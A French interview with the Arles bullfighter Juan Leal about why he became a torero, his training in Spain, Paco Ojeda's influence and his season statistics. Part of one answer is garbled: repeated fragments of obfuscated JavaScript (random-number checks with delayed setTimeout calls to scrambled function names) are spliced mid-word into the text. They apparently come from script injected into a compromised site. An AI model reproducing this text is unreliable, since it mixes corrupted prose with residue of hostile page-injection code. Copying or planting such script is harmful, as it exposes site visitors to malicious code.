INTERVIEW AVEC JUAN LEAL

Le jeune torero arlésien, avec une seule année d’alternative, triomphe dans toutes les arènes où il se présente. Nous avons d’abord parlé avec lui sur ce qui l’avait poussé à devenir torero, hormis sa famille.

Juan Leal : Ce qui m’attirait c’était une sensation. Je me rappelle toujours de la première fois où je me suis mis devant une vachette et cette sensation que j’ai eue m’a toujours poussé à recommencer, à toréer.

Pourquoi es-tu parti vivre en Andalousie ? – En fait je ne suis pas parti directement en Andalousie. À l’âge de 15 ans je suis allé dans un premier temps à Avila, ensuite à l’école taurine de El Juli à Argandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda et quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and j’ai débuté en novillada piquéeje suis allé dans la ganaderia de Jean Marie Raymond à Constantina. Celui qui m’a poussé à faire cela c’est Sébastien Castella. En France il y a de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands professionnels mais le seul qui soit devenu figura c’est lui. Pour être figura je pense qu’il faut habiter en Espagne.

Qu’y a-t-il de plus qu’en Camargue ? - On est entouré par plus de professionnels et en général on a plus de possibilités, d’opportunités.

Ton toreo est très influencé par Paco Ojeda ? - Pour moi il a toujours été un exemple, une référence, même s’il faut avoir sa propre personnalité.

On te critique parfois pour ton excès d’« ojédisme ». - La mode, à l’heure actuelle, c’est de donner de l’espace au toro et certains aficionados croient que « monter » sur un toro c’est facile, mais ça ne l’est pas du tout. Des gens pensent aussi qu’en étant près du toro on ne peut pas le pousser en avant mais je suis convaincu du contraire. Les muletazos peuvent être longs, profonds et esthétiques. On peut aussi alterner les distances courtes et longues. Pour ça il faut avoir beaucoup de technique. Je suis encore un peu brouillon, mais j’y arriverai.

Né le 27 octobre 1991 à Arles.

Alternative : 19 mai 2013 à Nîmes

Apoderado : Maurice Berho

Temporada 2013 : 10 corridas, 16 oreilles et une queue

Temporada 2014 : 9 corridas, 13 oreilles

 

Juan Leal Nimes 19 septiembre 2014. Fotos bruno Lasnier

 

leal2

 

leal3

 

leal4

 

leal5

Les commentaires sont fermés.